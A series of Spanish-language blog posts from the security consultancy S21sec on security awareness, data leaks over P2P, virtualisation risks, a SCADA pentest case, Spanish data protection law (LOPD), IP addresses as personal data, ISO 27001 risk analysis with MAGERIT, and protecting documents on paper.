Seguridad analógica

Hoy vamos a escribir de algunos aspectos de la seguridad que a veces pasan inadvertidos. Para gestionar la seguridad de una infraestructura hay que tener en cuenta varios factores, como la seguridad perimetral, el cumplimiento de la normativa legal, la gestión de los elementos de seguridad o la prevención del fraude en caso de ofrecer servicios por internet.

Hay aspectos que no son puramente técnicos. Al final, las personas que usamos, administramos o tenemos acceso a una infraestructura que tiene cierta importancia, podemos ser el origen de una vulnerabilidad. Como muestra, una noticia de hace unos años, pero que ilustra lo que quiero mostrar. Más del 70% de la gente revelaría su contraseña a cambio de una chocolatina. Realmente preocupante, pero hay más casos en los que la falta de concienciación supone un riesgo para la seguridad, como este caso en el que un consultor deja memorias USB con malware por la oficina. Al poco tiempo, los empleados los cogen, miran su contenido e infectan sin querer su ordenador, enviando información sensible al exterior. Otro ejemplo es el empleado que desenchufa unos servidores por 10$ cortando el servicio. Un ataque frustrado muy conocido es el intento de robo a un importante banco internacional. Al parecer, los ladrones, haciéndose pasar por empleados de la limpieza instalaron pequeños keyloggers en los teclados de los ordenadores de los empleados.

¿Crees que podría pasar algo así en tu lugar de trabajo?
¿Qué harías si te encuentras o te regalan una memoria USB en el trabajo?
¿Qué acceso a instalaciones críticas tiene el personal de limpieza o de mantenimiento?
¿Has recibido formación relacionada con la seguridad?

Patxi Astiz
S21sec labs

Escándalo por filtración de datos personales

Desde varios post de este blog (véase por ejemplo Me da igual y Me sigue dando igual) se ha tratado de concienciar a todo el mundo de la importancia de seguir ciertas políticas de seguridad para mantener nuestros equipos y los datos que ahí guardamos a salvo de extraños. La ignorancia y la despreocupación sobre la seguridad de nuestro equipo y sobre la importancia de los datos que ahí puede haber guardados, se traslada muchas veces al ámbito del trabajo. Frente a la legislación actual que trata de proteger la privacidad en la gestión de los datos de carácter personal (véanse los post sobre LOPD en este mismo blog), siempre sigue habiendo personas, empresas, instituciones, que no ponen todo el énfasis que debieran en proteger los datos.

Hoy mismo se ha publicado una noticia en la que se informa de que más de 11.000 historias clínicas de pacientes, entre las que se incluyen 4.000 historias de casos de abortos, han podido ser filtradas desde una clínica de Bilbao. La noticia es especialmente preocupante ya que los datos fueron compartidos a través de la red P2P de emule, lo cual indica deficiencias graves de seguridad por parte del empleado/s (que utilizaron el emule en el trabajo sin preocuparse de lo seguro que podía ser) y también por parte de la clínica (que no se ha preocupado por la seguridad de su red informática). La clínica en cuestión ha sido sancionada con 150.000 euros por la agencia española de protección de datos (AEPD) lo cual obviamente ha hecho que tome conciencia del problema e implante medidas de seguridad estrictas en sus sistemas informáticos. No obstante, según la misma noticia, este no es un caso aislado. La agencia de protección de datos ha abierto 21 expedientes a lo largo de 2007 por filtraciones a Internet de datos personales sobre historias clínicas, datos personales de recursos humanos, solicitantes de adopciones internacionales, etc.

¿Está nuestra privacidad a salvo en la era de la información? .......

Guzmán Santafé
S21sec labs

Abarcamos el ciclo completo de la seguridad

Aunque ya se ha podido apreciar en más de una ocasión en este blog, las personas del Departamento de Consultoría de S21sec no sólo estamos inmersos en la asesoría de protección de datos de carácter personal, que es lo que pudiera parecer dado que la mayoría de nuestros "posts" se han centrado en ella, quizás porque es el tema de moda actualmente.

Los consultores de S21sec somos un equipo multidisciplinar especializado en todo aquello que pueda caber en la gestión de la seguridad de la información. No somos sólo personas de perfiles de corte jurídico, sino también técnico y de gestión que además contamos con el inestimable apoyo de las personas de S21sec Labs, nuestros auditores, nuestros integradores, nuestros "partners", nuestros socios,... y, cómo no, hasta de nuestros clientes.

En S21sec abarcamos el ciclo completo de la seguridad como puede verse aquí y además aportamos al mercado nuestros productos.

Por ello particularmente voy a predicar con el ejemplo, y sin abandonar los temas que he venido tratando, espero poder escribir sobre otros temas de gestión de seguridad de la información.

Aprovechando que ayer Antonio abrió fuego, y del cruzado, en relación con las novedades PCI-DSS voy a aprovechar para desligarme (aunque sea tan sólo por un tiempo) de los temas jurídicos que han venido ocupando "posts" anteriores.

Antes de que llegue septiembre podemos ir abriendo boca con algunas publicaciones de PCI-DSS sobre las modificaciones mencionadas y otra que han tenido lugar recientemente y que publicaré en mi próximo "post".

Álvaro Del Hoyo
Departamento de Consultoría

Virtualmente seguro

Hoy en día es muy común utilizar entornos virtualizados por comodidad y por seguridad, aunque esto último es discutible. En este blog también hemos hablado del tema y en la última entrada relacionada con el tema se mencionaba una vulnerabilidad descubierta recientemente. A raiz de esto, VMware ha anunciado VMsafe. Varios fabricantes de software de seguridad han anunciado que utilizando esta tecnología van a crear software que colaborando con el hypervisor de VMware, proporcionan seguridad a los sistemas operativos virtualizados.

¿Cuanto tardarán en aparecer IDS/IPS, "appliance" anti-spam y anti-malware, firewalls y todo tipo de dispositivos virtuales? ¿Veremos "data centers" 100% virtualizados? ¿Implementarán tecnologías parecidas o equivalentes otros fabricantes de productos de virtualización? ¿Serán compatibles entre sí?

Aunque aún más preocupante es pensar en qué pasaría si la máquina que aloja el entorno virtualizado está comprometida. Teniendo acceso libre a la memoria, CPU y en general a todos los dispositivos virtuales, así como a su estado, todos los sistemas virtualizados pueden manipularse fácilmente al antojo del atacante. Una cadena es tan fuerte como lo es su eslabón más débil.

Añadir medidas de seguridad virtuales, no va a evitar que necesitemos securizar el servidor que provee virtualización. Si añadimos más elementos, sean tangibles o no, tenemos más versatilidad, pero también más puntos que securizar, más complejidad y más posibles errores y vulnerabilidades.

Con todo esto no quiero decir que la virtualización sea una mala idea. Hay que evaluar para cada caso si resulta más cómoda, sencilla o segura que el uso de servidores físicos.

Patxi Astiz
S21sec labs

Comprometida red de suministro y distribución eléctrica por pentesters

En la RSA Conference que está teniendo lugar estos días en San Francisco, California unos pentesters han presentado los detalles de un trabajo de "pentesting" o "penetration testing" realizado en una empresa del sector energético.

Tras haber recolectado las direcciones de correo electrónico del grupo de usuarios de los sistemas SCADA con los que se gestionaba la red de suministro y distribución eléctrica, los pentesters han podido tomar control de la red eléctrica después de haber tenido éxito en un ataque de phishing que dirigía a los usuarios a una página web que presentaba un error, y al mismo tiempo descargaba malware en los equipos de los usuarios por medio de los que adquirieron su control. La empresa mantenía sin segregar las redes corporativa y de control, la primera de ellas con acceso a Internet, factor principal de éxito del ataque.

Los detalles sobre el trabajo pueden verse aquí.

Cada vez más se va notando el interés de las empresas usuarias de sistemas de control de instalaciones industriales o infrastructuras críticas (PLC, DCS o SCADA) en la gestión de la seguridad de la información, después de haber caído en la cuenta de que las redes y sistemas de control son vulnerables por las diferentes razones que se presentan en este artículo de algunos de nuestros compañeros de S21sec (ver páginas 18 a 20).

Recientemente hemos tomado parte en un proyecto en Oriente Medio para evaluar el estado o la madurez y proponer recomendaciones sobre el sistema de gestión de seguridad de la información de una empresa de producción de petróleo, gas y electricidad. Esta empresa ya tenía clara la importancia de la segregación de las redes corporativa y de control en cuyo proceso de implantación estaba inmerso, habiéndonos dado la oportunidad de participar también en el diseño lógico de la nueva arquitectura de red una vez finalizada la segregación física.

Esperemos poder seguir prestando nuestros servicios de consultoría de gestión, operativa y técnica en materia de seguridad de la información a las entidades que cuentan con sistemas de control de infraestructuras industriales o infraestructuras críticas.

Álvaro Del Hoyo
Departamento de Consultoría

Procedimiento para la Autorización de Conservación de Datos para fines Históricos y Estadísticos (Título IX Capitulo VII Sección Segunda)

El presente procedimiento supone una novedad dado que establece un procedimiento para obtener de la AEPD una declaración de la concurrencia para el tratamiento de datos con valor histórico, científicos o estadísticos.

En dicho procedimiento se establece la necesidad de realizar una solicitud:

• Que identifique claramente el tratamiento de datos al que se aplica la excepción.
• Que este motivada expresamente las causas que justificarían la declaración.
• La exposición detallada de las medidas de seguridad que el responsable del fichero se propone implantar.

Lo que no se establece y tasa en este Art. 157 es el ámbito de aplicación de dicho procedimiento, lo que ha causado problemas de interpretación notables en al ámbito privado, hasta el punto de que ciertas organizaciones se planteen, a partir del 19 de abril iniciar un procedimiento para la autorización de conservación de datos para fines históricos, estadísticos o científicos, por ejemplo para conservar expedientes de clínicos o de las secuelas de un accidente laboral.

Tanto es así que algunas consultoras de reputado renombre incluyen en sus fichas de producto para la adecuación al RD 1720/2007 la recomendación de tomar decisiones para acelerar dicho procedimiento con anterioridad de la entrada en vigor del texto.

Lo que parece que no han hecho es relacionar el Art. 157 con el Art. 8.6 en cuanto establece la necesidad de cancelar los datos cuando hayan dejado de ser necesarios o pertinente a la finalidad para la cual fueron recabados, salvo que de su utilización pueda exigirse algún tipo de responsabilidad derivada; y con el Art. 9 1 cuando determina que el tratamiento con fines estadísticos, históricos o científicos se establece en:

• Ley 12/1989 Reguladora de la Función Estadística Pública
• Ley 16/1985 del Patrimonio Histórico Español
• Ley 13/1986 de Fomento y coordinación General de la Investigación

Lo que si parece claro con esta relación es que las organizaciones que se pueden acoger a la conservación de los datos con fines estadísticos, históricos y estadísticos solamente serán aquellas que traten los datos previstos en las regulaciones que establece Art.9.1 y en ningún caso cualquier persona jurídica

Por lo que el procedimiento aplicará normalmente a las AAPP y a aquellas Administraciones del Estado y las entidades de ella dependientes; la organización de sus servicios estadísticos y sus relaciones en materia estadística con las Comunidades Autónomas y las Corporaciones Locales, así como con la Comunidad Europea y Organismos Internacionales. (Art. 2 Ley 12/1989)

David Imizcoz Etxeberria
Manager de Consultoría

Comienza el Reto de la adecuación a la normativa de desarrollo de la LOPD 15/1999

Como os comentamos hace unas semanas, queremos que marzo sea un mes especial centrado en la adecuación a la normativa de desarrollo de la LOPD 15/1999 tras la aprobación del Real Decreto 1720/2007.
Hoy comenzamos con la serie de post que comentamos en su día. Por la tarde publicaremos el primero de los post titulado "Procedimiento para la Autorización de Conservación de Datos para fines Históricos y Estadísticos (Título IX Capitulo VII Sección Segunda)".

Para nosotros es muy importante vuestra aportación mediante comentarios, así que contamos con vuestra presencia para enriquecer el contenido con diferentes puntos de vista.

Seguimos en contacto.
Saludos!

Datos personales, direcciones IP y los movimientos de Google (III)

En relación con esta serie de posts, 1 y 2, hemos de indicar que Google ha dado un nuevo paso. Y el Grupo del Artículo 29 también.

Por otra parte, gracias al blog de Samuel Parra he accedido a esta interesante resolución de la AGPD en la que se decide que dada la posibilidad de modificar una dirección IP no se puede determinar con exactitud que un usuario de una red local, haciendo uso del equipo informático que la empresa le tenía asignado, fuera quien publicó en una página web datos personales contenidos en un fichero responsabilidad de aquélla.

Una buena monitorización y gestión de "logs" podía haber ayudado a esta empresa a evitar la interpretación hecha en la jurisdicción social.

Álvaro Del Hoyo
Departamento de Consultoría

Datos personales, direcciones IP y los movimientos de Google (II)

Peter Fleischer, responsable de privacidad para Europa de Google, ha publicado un nuevo post en su blog personal acerca del debate sobre la consideración o no de las direcciones IP como datos de carácter personal.

Expone los mismos argumentos en contra del carácter personal de las direcciones IP que exponía yo en nuestro anterior post sobre este tema, pero sigue olvidándose de tomar en cuenta que los buscadores de Internet, proveedores además de otros muchos servicios de la Sociedad de la Información, adquieren cantidades ingentes de datos que relacionan o pueden relacionar con los identificadores únicos que asignan a los navegadores de sus usuarios y que se recopilan junto con las direcciones IP fijas o dinámicas que estos emplean.

Parece que Peter Fleischer declaró que "there is no black or white answer: sometimes an IP address can be considered as personal data and sometimes not, it depends on the context, and which personal information it reveals" y quizás sus propias palabras le estaban dirigiendo a la respuesta que no espera recibir del Grupo del Artículo 29.

Me temo que próximamente todos los buscadores de Internet se van a llevar un par de jarros de agua fría en forma de Dictamen del Grupo del Artículo 29: uno, sobre el uso de "logs" y "cookies" y, otro sobre publicidad contextual. Aparte de la que se le pueda venir encima en términos de privacidad a Google en relación con la compra de Double-Click.

En cualquier caso, sí que estoy de acuerdo con Peter Fleischer en destacar los problemas que trae consigo la consideración de las direcciones IP como datos de carácter personal en relación con el deber de información, el principio de consentimiento, ya sea para el tratamiento o para la cesión de las direcciones IP, o con las transferencias internacionales de estos datos o con el ejercicio de derechos de acceso, rectificación cancelación y oposición.

Pensemos por ejemplo en el tratamiento que de los datos de tráfico -las direcciones IP lo son- están habilitados los ISPs a llevar a cabo para la gestión de la seguridad de sus servicios y redes (ver artículo 4 de la Directiva 2000/58/CE) o en el tratamiento de direcciones IP que hacen los CERT para la vigilancia de la Red y la defensa organizada contra el ciberterrorismo o ataques a gran escala contra los usuarios de la Red.

¿No sería mejor que los ISPs no necesitaran de consentimiento para la cesión entre operadores para combatir de forma conjunta ataques distribibuidos, el "spam" o el "phishing"? ¿Realmente no sería beneficioso que un CERT quede excepcionado de cumplir con los principios de transparencia, consentimiento y cesión con respecto a las direcciones IP que tratan?

Veremos en qué resulta finalmente todo este debate.

¿Alguna modificación en ciernes de la regulación europea de la privacidad?

Álvaro Del Hoyo
Departamento de Consultoría

Marzo, el Reto de la adecuación a la normativa de desarrollo de la LOPD 15/1999 tras la aprobación del Real Decreto 1720/2007

De cara a la próxima entrada en vigor del Proyecto de Real Decreto por el que se aprueba del Reglamento de Desarrollo de la Ley Orgánica 15/1999 de 13 de diciembre de Protección de Datos de Carácter Personal, queremos proponer a los bloggers, lectores y editores de este blog un calendario con los post a publicar sobre esta temática para prepararnos ante la inminente entrada en vigor del texto el próximo 19 de abril.


El calendario propuesto tratara sobre los siguientes temas:

1. Procedimiento para la Autorización de Conservación de Datos para fines Históricos y Estadísticos (Título IX Capitulo VII Sección Segunda)
2. Medidas Aplicables a los Ficheros y tratamientos no Automatizados de Datos (Título VII Capitulo IV)
3. Novedades en la Gestión de Soportes y Documentos Art. 92, 97 y 101 (Título VIII Capitulo III)
4. Regulación de la función de auditor LOPD de acuerdo al Art.106 (Título VIII Capitulo III)
5. Disposiciones Generales de las medidas de Seguridad en el Tratamiento de Datos de Carácter Personal. La figura del encargado del tratamiento (Título VIII Capitulo I)
6. Novedades para los Niveles de Protección
7. Transferencias Internacionales de Datos y códigos tipo (Título VI Título VII)
8. Datos especialmente protegidos frente a la aplicación del los niveles de seguridad de acuerdo al Art. 81.5.

Os invitamos a participar mediante comentarios en este foro que pretende resolver o al menos dar una visión y una interpretación a las controversias que plantea el nuevo texto.


David Imizcoz Etxeberria
Manager de Consultoría

Redes P2P, datos personales, ilícitos civiles, delitos y seguridad de la información (II)

En el anterior post comentábamos la sentencia del caso 275/06 del TJCE y adelántabamos el contenido de este nuevo post.

Como constata el TJCE no existe en España norma alguna que obligue a los operadores a comunicar los datos personales de sus clientes en el marco de un proceso civil de cualquier tipo ni en concreto con la finalidad de la protección de los derechos de autor. O al menos de momento, pues aunque sea por la inercia tomada en otros Estados europeos incluso puede que también vayamos más allá de una regulación que obligue a los ISPs a ceder los datos personales de sus clientes usuarios de redes P2P como ya está sucediendo en algunos Estados europeos.

En Francia se ha optado por un modelo voluntario de colaboración de los ISPs con las sociedades de gestión de derechos de autor, a la espera de que llegue la ley que regule esta invasión de los derechos a la intimidad, al secreto de las comunicaciones y a la protección de datos, además de a las libertades de expresión y de información. El objeto de estos acuerdos es el filtrado de la navegación de los usuarios de Internet para el bloqueo del acceso a las redes P2P. Este filtrado ha sido puesto por los ISPs en manos de terceros, cuya actividad parece ser está y seguirá estando celosamente supervisada por la CNIL, en especial en lo que atañe a la obligación de que las direcciones IP se hagan anónimas inmediatamente durante el filtrado. De las dos inspecciones realizadas hasta la fecha en una de ellas ya se ha encontrado al encargado del filtrado registrando las direcciones IP para una sociedad de gestión de derechos de autor.

Ante el fracaso de las negociaciones entre las sociedades de gestión de derechos de autor y los ISPs británico para establecer un sistema similar al ya existente en Francia, parece que la semana que viene se presentará en el Reino Unido una nueva ley que obligará a los ISPs a trazar las comunicaciones de sus clientes, de modo que en caso de que se detecte se está haciendo uso a redes P2P habrán de remitir por dos veces una advertencia de cese que en caso de no ser atendidas implicará la interrupción del servicio de acceso a Internet. Los datos identificativos y otros datos personales de los usuarios infractores podrán ser cedidos a los tribunales. Es preciso recordar que en el Reino Unido no se halla establecida la limitación de copia privada, siendo el uso de redes P2P en todo caso una infracción civil.

No obstante, en el Reino Unido la obligación de ceder los datos para procesos civiles ya existe gracias al Common Law puesto que ya se dio una resolución de la High Court que obliga a los ISPs a trazar las comunicaciones de aquellos de sus clientes -"uploaders" masivos- como consecuencia de la Regulation of Investigatory Powers Act (RIPA).

En Estados Unidos el Common Law nos ha ofrecido una resolución que establece exactamente lo contrario, si bien indicando como responsable para este tipo de autorizaciones al Congreso, razón por la que es previsible que puedan darse los mismos pasos que en Europa.

En cualquier caso, al respecto de estas futuras leyes francesa y británica, quisiera recordar la existencia de las exenciones de responsabilidad de los prestadores de servicios de intermediación establecidas en los artículos 12 a 14 de la Directiva 200/31/CE, así como que el artículo 15 de esta Directiva prohibe expresamente a los Estados miembros imponer una "obligación general de supervisar los datos que transmitan o almacenen, ni una obligación general de realizar búsquedas activas de hechos o circunstancias que indiquen actividades ilícitas" a los prestadores de servicios de transmisión de datos por redes, servicios de acceso a redes, servicios de almacenamiento automático, provisional y transitorio de datos para su transmisión ("caching") y servicios de almacenamiento de datos. En cualquier caso los prestadores de servicios de intermediación podrán ser requeridos conforme a Derecho por los órganos judiciales y administrativos competentes a poner fin o impedir infracciones y tendrán el deber de colaborar en la interrupción del servicio o la retirada de contenidos ilícitos. Este régimen de responsabilidad fue transpuesto al Derecho español por el Capítulo II del del Título II de la LSSI.

Debates aparte sobre la ilicitud civil y la tipicidad del uso por particulares de redes P2P, lo que sí quisiéramos precisar es que en el caso de la descarga por personas jurídicas tanto de programas de ordenador como de bases de datos o de cualquier otro tipo de obras sí que estamos ante una infracción civil y un acto de competencia desleal, aparte de que por lo general se podría estar incurriendo en la comisión de un delito contra la propiedad intelectual al acceder ilegítimamente a informaciones, programas de ordenador o bases de datos que puede que puedan ser empleados en los procesos productivos de la organización por las personas que trabajan para ella (por tanto, con fines comerciales). Aparte las redes P2P consituyen un importante vector para posibles infecciones por códigos maliciosos, fugas de información culposas o por error o la comisión de delitos de posesión o distribución de pornografía infantil, así como para la infracción de la buena fe o el abuso de confianza por parte de los trabajadores de la empresa. Por ello nos gustaría recomendar que las organizaciones privadas o públicas incluyan en sus políticas de gestión de la seguridad de la información la prohibición de uso de aplicaciones P2P en sus redes corporativas y que se establezcan los procedimientos para detectarlas, bloquearlas y eliminarlas en caso de que estuvieran siendo empleadas.

¡Ah, por cierto! Aquí estamos para asesorar técnica, operativa y jurídicamente sobre cómo definir, implantar, revisar y auditar políticas y procedimientos de gestión de seguridad de la información, integrando en ellos como no la prohibición de uso de redes P2P con los medios corporativos. Y todo ello de conformidad con estándares internacionales de seguridad de la información, la legislación vigente y jurisprudencia relevante al caso.

Álvaro Del Hoyo
Departamento de Consultoría

Redes P2P, datos personales, ilícitos civiles, delitos y seguridad de la información

En relación con la ya larga polémica sobre si el uso de las redes P2P es un delito o un ilícito civil o ambas cosas a la vez, recientemente recibíamos la noticia de que según el Tribunal de Justicia de las Comunidades Europeas (TJCE) los proveedores de acceso a Internet no tienen la obligación de comunicar los datos personales de sus clientes que les hubieran sido solicitados en sede civil por haber sido identificados como usuarios de redes P2P, y al propósito final de que pudieran serles interpuestas demandas civiles por la infracción de derechos de autor.

Este asunto ha sido tratado en profundidad en el blog de David Maeztu, y es especialmente interesante el debate que se ha generado en sus comentarios. En este documento adjunto hago un análisis de la sentencia y doy mi punto de vista a varias de las cuestiones surgidas en este debate, además de aportar el análisis sobre otros aspectos relevantes al caso como la consideración de las direcciones IP como dato de carácter personal, o sobre la ilicitud y tipicidad del uso de redes P2P.

Esta resolución del TJCE surge de la cuestión prejudicial planteada por el Juzgado de lo Mercantil Nº 5 de Madrid que depuraba el caso que enfrentaba a Promusicae (antes AFYVE) con Telefónica al haberse negado ésta a entregar los datos identificativos de determinados clientes, de los que Promusicae conocía la dirección IP y que compartían música de obras cuyos derechos patrimoniales de autor corresponden a discográficas españolas.

Es evidente que Promusicae hizo en la red KaZaA uso de alguna tecnología para registrar las direcciones IP, de si no todos, al menos algunos de sus usuarios, así como para enviarles mensajes de advertencia a los usuarios españoles de este Red y finalmente para solicitar judicialmente a Telefónica la identificación de aquellos de sus clientes que tienen asignadas direcciones IP dentro del rango del operador y que han sido encontradas haciendo uso de la conocida red P2P.

En este vídeo puede verse cómo de fácil es realizar un escaneo de los usuarios de las redes P2P:

En la sentencia al caso-275/06 el TJCE concluye que "las Directivas 2000/31/CE, 2001/29/CE, 2004/48/CE y 2002/58/CE no obligan a los Estados miembros a imponer, en una situación como la del asunto principal, el deber de comunicar datos personales con objeto de garantizar la protección efectiva de los derechos de autor en el marco de un procedimiento civil". Afirma ello el TJCE sin perjuicio de que también concluya que "la Directiva 2002/58 no excluye la posibilidad de que los Estados miembros impongan el deber de divulgar datos personales en un procedimiento civil" y que "sin embargo, el tenor del artículo 15, apartado 1, de esta Directiva no puede interpretarse en el sentido de que obliga a los Estados miembros a imponer tal deber en las situaciones que enumera".

En la continuación de este post comentaremos las iniciativas legislativas existentes en Francia y Reino Unido en este sentido y sus antecedetes.

Álvaro Del Hoyo
Departamento de Consultoría

Metodología de análisis de riesgos para abordar una certificación ISO/IEC 27001

El proceso de certificación de un Sistema de Gestión de Seguridad de la Información ISO/IEC 27001 requiere la elaboración de un Análisis de Riesgos como medio de diseñar el Plan de Gestión de Riesgos del sistema, e identificar la aplicabilidad de los controles a implantar en una organización.

Por el momento la familia de las 27001 no nos ha dotado de un método para la elaboración del análisis de riesgos, dicho método será la futura ISO/IEC 27005 de la que por el momento solamente tenemos un draft mientras que el estándar será publicado previsiblemente en 2009.

Debido a la ausencia de metodología propia para la certificación ISO/IEC 27001 nos encontramos con la duda de qué metodología emplear, debido a sus diferentes funcionalidades, a las herramientas en las que se soporta, a los estándares y normativas a las que da conformidad, la metodología idónea parece ser MAGERIT II.

Objetivos de MAGERIT II

MAGERIT; persigue los siguientes objetivos:

1. Concienciar a los responsables de los sistemas de información de la existencia de riesgos y de la necesidad de atajarlos a tiempo
2. Ofrecer un método sistemático para analizar tales riesgos
3. Ayudar a descubrir y planificar las medidas oportunas para mantener los riesgos bajo control
4. Apoyar la preparación a la Organización para procesos de evaluación, auditoría, certificación o acreditación, según corresponda en cada caso

¿Porque MAGERIT II?

El análisis de riesgos propuesto por MAGERIT II es una aproximación metódica que permite determinar el riesgo siguiendo unos pasos:

• Determinar los activos relevantes para la Organización
• Determinar a que amenazas están expuestos aquellos activos
• Estimar el impacto, definido como el daño sobre el activo derivado de la materialización de la amenaza.
• Valorar dichos activos en función del coste que supondría para la Organización recuperarse ante un problema de disponibilidad, integridad, confidencialidad o autenticidad
• Valorar las amenazas potenciales.
• Estimar el riesgo, definido como el impacto ponderado con la tasa de ocurrencia (o expectación de materialización) de la amenaza.

El método propuesto por MAGERIT II da cumplimiento en lo establecido en la ISO 13335, en el epígrafe 4.2.1.d Identificar Riesgos, 4.2.1.e Analizar y evaluar riesgos de la ISO /IEC 27001:2005 , y además garantiza conformidad respecto los estándares:

• ISO/IEC 27001 / 2005 “Sistemas de Gestión de Seguridad de la Información”
• ISO/IEC 15408 / 2005 “Criterios de Evaluación de Seguridad de la Información”
• ISO/IEC 17799 / 2005 “ Manual de Buenas Prácticas de Gestión de Seguridad de la Información”
• ISO/IEC 13335 / 2004 “Guía para la Gestión de Seguridad TI”

Comparativa con otras metodologías de análisis de riesgos:


http://www.enisa.europa.eu/rmra/rm_ra_tools.html

En la comparativa de las diferentes metodologías y herramientas de análisis de riesgos se puede concluir que MAGERIT II es el método ideal por las siguientes razones:

1. Por estar impulsado por el Consejo Superior de Administración Electrónica.
2. Por ser un método desarrollado en su integridad en castellano.
3. Por tener la herramienta de gestión de Análisis de Riesgos EAR/PILAR mantenida y actualizada
   
4. Por dar conformidad a los estándares internacionales y a la normativa de protección de datos.
5. Por dar conformidad a la ISO/IEC 27002:2005
6. Por contar con el perfil para dar conformidad al RD 1720/2007 de desarrollo del Art. 9 de la Ley Orgánica de Protección de Datos 15/1999, en versión beta
   
7. Por su próxima incorporación de los perfiles Sarbanes Oxley y a Cobit 4.1

David Imizcoz Etxeberria
Manager de Consultoría S21sec

Seguridad utópica

En mis dos anteriores posts he intentado crear un poco de conciencia de seguridad en los lectores de este blog. No sé si lo habré conseguido, pero dicen que la intención es lo que cuenta,¿no?:) La cuestión es que a raíz de estas publicaciones un amigo me comentó que esos consejos/avisos eran correctos si los lectores eran gente con experiencia en esto de los ordenadores, del uso de Internet e incluso de la seguridad, pero, ¿y qué pasa con aquellas personas que no tienen ese nivel? Seguramente ellas no leerán estas líneas, pero es que realmente yo también pienso en ellas cuando las escribo. ¿Qué es lo que falla aquí? ¿es culpa del usuario que su sistema sea vulnerable si no tiene ni idea de seguridad?

Es evidente que hay un amplio abanico de personas que descuidan la seguridad de sus equipos, ya sea por desconocimiento o por pensar que ese tipo de medidas son innecesarias. Y en cuanto a desconocimiento no me refiero a la ignorancia de la existencia de los peligros de Internet, sino que aun conscientes de ellos no saben cómo protegerse. Siempre está la posibilidad de que pidan ayuda a usuarios más experimentados (¿no os viene a la cabeza el pringao howto? espero que no sea el único...), pero no siempre es posible, y, además, no creo que sea una buena solución.

¿Entonces qué se puede hacer? La solución podría basarse en que tanto fabricantes como desarrolladores tuvieran en cuenta que los ordenadores deben llegar al usuario totalmente securizados y sin la necesidad de interacción por su parte. Algo totalmente automatizado que les proteja sin darse cuenta: antivirus que no caduquen a los dos meses y que se actualicen diariamente, cortafuegos competentes que permitan la adición de excepciones de programas de forma intuitiva, descargas de actualizaciones de seguridad diarias tanto del sistema operativo como de las aplicaciones instaladas, sistemas operativos con políticas y configuraciones por defecto seguras... Muchas de estas consideraciones se solucionarían con un sistemas operativo de código libre, pero no quiero entrar en ese tipo de discusiones, sólo me gustaría que se tuviera en cuenta a este tipo de usuarios a la hora de fabricar un ordenador, a la hora de elegir los programas preinstalados, en definitiva, que no sólo se piense en la mejor forma de sacar dinero.

Y ya que nos ponemos a analizar esta situación, empecemos desde abajo. ¿Por qué no incluir en las típicas clases de informática de los colegios todo un tema dedicado a la seguridad? peligros/defensas, buenas prácticas, instalación y mantenimiento de programas especializados...etc. Y ya no sólo en el colegio, sino que se debería formar sobre este tema a todo trabajador que use diariamente un ordenador, con el correspondiente examen. Esto evitaría unos cuantos problemas.

Queremos que el mundo de la tecnología de la información avance, pero, ¿a toda costa? Normalmente la filosofía es lanzar un producto cuanto antes, adelantándose a la competencia, y que los usuarios lo compren como rosquillas. Ya más tarde surgirán los problemas derivados de esa prisa, pero el dinero ya estará facturado. Lo que hace falta, en mi opinión, es un profundo cambio donde lo primordial sea la programación segura de las aplicaciones y la formación en seguridad de todo usuario, complementado con ordenadores securizados de base. ¿Es esto una utopía? ¿otra utopía? ¿es una utopía el fin del calentamiento global? ¿la paz mundial? hay utopías que pudiendo ser realidad nunca dejarán de ser utopías...

José Miguel Esparza
S21sec labs

Soporte papel: el gran arrinconado en la seguridad de la información.

En prácticamente todas las empresas actualmente podemos encontrar la aplicación de controles para el acceso a la información en soporte magnético, es decir, a la información que reside en archivos y ficheros informáticos. La funcionalidad relacionada con el control de acceso está `presente en prácticamente todos los sistemas operativos, aplicaciones, programas de gestión de BDD, etc.

La automatización en la gestión de accesos viene facilitada por la existencia de software específico pensado para realizar dicha labor como, por ejemplo, las aplicaciones de gestión de identidades.

En el “mundo físico” no obstante la realidad es bastante distinta: el control de acceso a la documentación es soporte papel debe realizarse mediante la aplicación de controles físicos, lo cual dificulta tanto la aplicación de los controles como la continuidad en el tiempo de la aplicación de las medidas que se apliquen. Otro de los inconvenientes del soporte papel es la dificultad de controlar la trazabilidad de un documento, es decir, el circuito que sigue desde su creación hasta su archivo definitivo y los posteriores accesos para su consulta una vez archivado: un documento que es extraído del archivo y no devuelto o que es fotocopiado, con lo cual se generan múltiples copias en soporte papel sobre las que también se deberá controlar su trazabilidad y circuito de distribución.

El marco legal vigente, en mi modesta opinión, ofrece motivos suficientes que justifican la aplicación de mecanismos de salvaguarda para proteger la información en soporte papel. Dentro de este marco legal podríamos destacar:

• La ley de competencia desleal: dónde se establece que se considera desleal la divulgación o explotación, sin autorización del titular, de secretos industriales o de cualquier otra especie de secretos empresariales a los que se haya tenido acceso legítima o ilegítimamente.
• El propio código penal: en el artículo 197 se establecen penas de prisión al que, con el fin de descubrir los secretos o vulnerar la intimidad de otro, sin su consentimiento se apodere de sus papeles, cartas o cualesquiera otros documentos (...).
• El nuevo reglamento de seguridad de la LOPD: que establece las medidas que las empresas deberán aplicar a los datos en soporte papel.

Una vez vistas las dificultades principales veamos las alternativas posibles para superar estos inconvenientes. Veamos, pues, qué controles podemos aplicar sobre el soporte papel:

1. Política específica de tratamiento de documentos confidenciales: No presuponer que el número de personas que acceden a documentos confidenciales en soporte papel es acotado o reducido, siempre existe el riesgo de divulgación no autorizada. Se deberá elaborar, aprobar, difundir e implantar una política dirigida especialmente a establecer las directrices para el tratamiento de los documentos en soporte papel que contenga información confidencial. Esto nos lleva de forma natural al siguiente punto.....
2. Identificación de los documentos con información confidencial: Este punto es bastante más sencillo de los que pueda parecer: Fácilmente podemos intuir los departamentos dónde existen documentos confidenciales (Dirección General, RRHH, área Jurídica). Si no conocemos qué es importante (confidencial), no sabremos qué es lo que tenemos que proteger. Una vez identificada la documentación con requisitos de confidencialidad el siguiente control seria disponer de.....
3. Metodología de clasificación y almacenamiento de los documentos confidenciales: En este punto juega un papel clave una interpretación libre del concepto “oficina sin papeles”: escanear los documentos y almacenarlos digitalmente aprovechando así, por un lado, la automatización de los controles de acceso del “mundo digital” y, por otro, disponiendo de una copia de seguridad.
4. Disponer de contenedores específicos para la destrucción de documentos confidenciales: Dichos contenedores sería recomendable que estuvieran cerrados con llave evitando que queden abierto pues, en ese caso, serían equivalentes a una papelera convencional.
5. Disponer de destructoras de papel (trituradoras) que garanticen la imposibilidad de recuperar la información. Estas destructoras pueden ser personales, departamentales o compartidas por varios departamentos de la empresa.
